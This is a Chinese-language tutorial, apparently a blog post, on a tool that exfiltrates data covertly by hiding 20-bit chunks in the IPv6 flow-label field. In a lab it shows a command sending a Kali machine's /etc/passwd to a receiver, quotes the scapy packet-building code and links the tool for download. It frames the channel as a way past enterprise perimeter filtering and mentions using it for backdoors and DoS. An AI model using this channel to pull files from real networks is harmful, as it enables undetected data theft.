使用 IPV6 流标签进行隐蔽的数据渗透
IPv6报文新增加了一个流标签
流标签技术在IPV6中的用途有:
(1)提高了中间路由器处理包的速度。
(2)提供了QoS需求,并支持实时服务的业务数据流。
但流标签也存在一些安全问题,如数据渗透,payload后门,Dos等
配置:
虚拟机vmware中开启IPv6支持
image.png
hunt(inet6): fd15:4ba5:5a2b:1008:20c:29ff:fe50:f036
kali(inet6): fd15:4ba5:5a2b:1008:20c:29ff:fe70:6427
均需要scapy和cairocffi
pip3 install -r requirements.txt
pip3 install cairocffi
测试过程
kali将自身的/etc/passwd 数据通过该工具传输到hunt上
kali操作:
参数解释:
python3 exfiltrate.py 待传输文件 目标机IPv6地址
eg:
python3 exfiltrate.py /etc/passwd fd15:4ba5:5a2b:1008:20c:29ff:fe50:f036
image.png
hunt接收操作:
参数解释:
python3 receive.py 保存的文件名
eg:
python3 receive.py kali-passwd
image.png
该地址证实是kali的IPv6地址
查看kali-passwd
image.png接收成功
机制分析
IPv6是英文“Internet Protocol Version 6”(互联网协议第6版)的缩写,是互联网工程任务组(IETF)设计的用于替代IPv4的下一代IP协议,其地址数量号称可以为全世界的每一粒沙子编上一个地址 。
IPv6的地址长度为128位,是IPv4地址长度的4倍 。
IPv6报文内容
IPv6报文的整体结构分为IPv6报头、扩展报头和上层协议数据3部分。IPv6报头是必选报文头部,长度固定为40B,包含该报文的基本信息;扩展报头是可选报头,可能存在0个、1个或多个,IPv6协议通过扩展报头实现各种丰富的功能;上层协议数据是该IPv6报文携带的上层数据,可能是ICMPv6报文、TCP报文、UDP报文或其他可能报文。
IPv6的报文头部结构如图:
image.png流标签 | 用来标识同一个流里面的报文 |
---|
该工具进行隐蔽的数据渗透正是利用了 20比特(12-31)的流标签
Flow Label(流标签)是IPv6中新增的头部结构
作用是:
流标签可用来标记特定流的报文,以便在网络层区分不同的报文。转发路径上的路由器可以根据流标签来区分流并进行处理。由于流标签在IPv6报文头中携带,转发路由器可以不必根据报文内容来识别不同的流,目的节点也同样可以根据流标签识别流,同时由于流标签在报文头中,因此使用IPSec后仍然可以根据流标签进行QoS处理。
所以,
可以将该字段设置为任意值,而不会影响数据包传递到其目标。
因此,我们可以通过在此字段中存储数据来构建隐蔽信道。
exfiltration脚本每20比特数据发送1个IPv6数据包,
receiver脚本通过读取该字段重建数据。
该工具主要作用在于,在企业边界网络中,已经阻止了ICMP报文,如果想将数据隐藏在报文的数据字段中进行传输,也可能分析IPv6/ICMPv6数据包中的字段,很可能无法对外连接通讯。
但目前来说仍有局限性
1、速度慢
虽然发送的数据是使用GZIP压缩的,但速度非常慢。通过网络发送的每包才包含20比特的数据,无法传输大文件。
2、传输不加密
如果你要传输敏感数据,可以在数据提供给传输端之前对数据进行加密。
3、超时不重传
可以自定义增加exfiltration脚本的packet-sending的值:
image.png默认情况下为10毫秒,每个新数据包在发送之前会等待10毫秒。
代码分析
该工具的传输端exfiltrate.py 主要是三个函数
image.png重点在第三个函数 send
重要代码分析
image.png# Build the IPv6 packet to send
ipv6_layer = IPv6(dst=self.destination, fl=payload_int)
raw_layer = Raw(load=self.MAGIC_VALUE + "_" + str(num_bits_to_send) + "_" + str(seq))
pkt = ipv6_layer / raw_layer
每个IPv6数据包发送的payload包含一个魔术值(magic value)以及一个序列号
所以,接收端可以确定哪些IPv6分组与其相关并进行解码。
总结
该工具可扩展性强,后续可自行开发,不局限于数据渗透,流标签还可以用于payload后门,Dos等
工具下载百度云下载
链接:https://pan.baidu.com/s/1OcxeQf2iNkk__X_49BVJ3A
提取码:v4dj